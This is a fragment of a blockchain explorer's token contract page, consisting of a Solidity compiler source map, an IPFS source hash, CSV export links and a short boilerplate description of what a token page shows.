294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;745:254;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1711:186::-;1770:6;1823:2;1811:9;1802:7;1798:23;1794:32;1791:52;;;1839:1;1836;1829:12;1791:52;1862:29;1881:9;1862:29;:::i;2110:260::-;2178:6;2186;2239:2;2227:9;2218:7;2214:23;2210:32;2207:52;;;2255:1;2252;2245:12;2207:52;2278:29;2297:9;2278:29;:::i;:::-;2268:39;;2326:38;2360:2;2349:9;2345:18;2326:38;:::i;:::-;2316:48;;2110:260;;;;;:::o;2375:380::-;2454:1;2450:12;;;;2497;;;2518:61;;2572:4;2564:6;2560:17;2550:27;;2518:61;2625:2;2617:6;2614:14;2594:18;2591:38;2588:161;;2671:10;2666:3;2662:20;2659:1;2652:31;2706:4;2703:1;2696:15;2734:4;2731:1;2724:15;2588:161;;2375:380;;;:::o;3841:277::-;3908:6;3961:2;3949:9;3940:7;3936:23;3932:32;3929:52;;;3977:1;3974;3967:12;3929:52;4009:9;4003:16;4062:5;4055:13;4048:21;4041:5;4038:32;4028:60;;4084:1;4081;4074:12;4123:127;4184:10;4179:3;4175:20;4172:1;4165:31;4215:4;4212:1;4205:15;4239:4;4236:1;4229:15;4255:127;4316:10;4311:3;4307:20;4304:1;4297:31;4347:4;4344:1;4337:15;4371:4;4368:1;4361:15;4387:128;4454:9;;;4475:11;;;4472:37;;;4489:18;;:::i;4520:125::-;4585:9;;;4606:10;;;4603:36;;;4619:18;;:::i
Swarm Source
ipfs://615e6358c93865d8fdb04646f46600a00bd23a03b40d210d464dc61d72286068
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.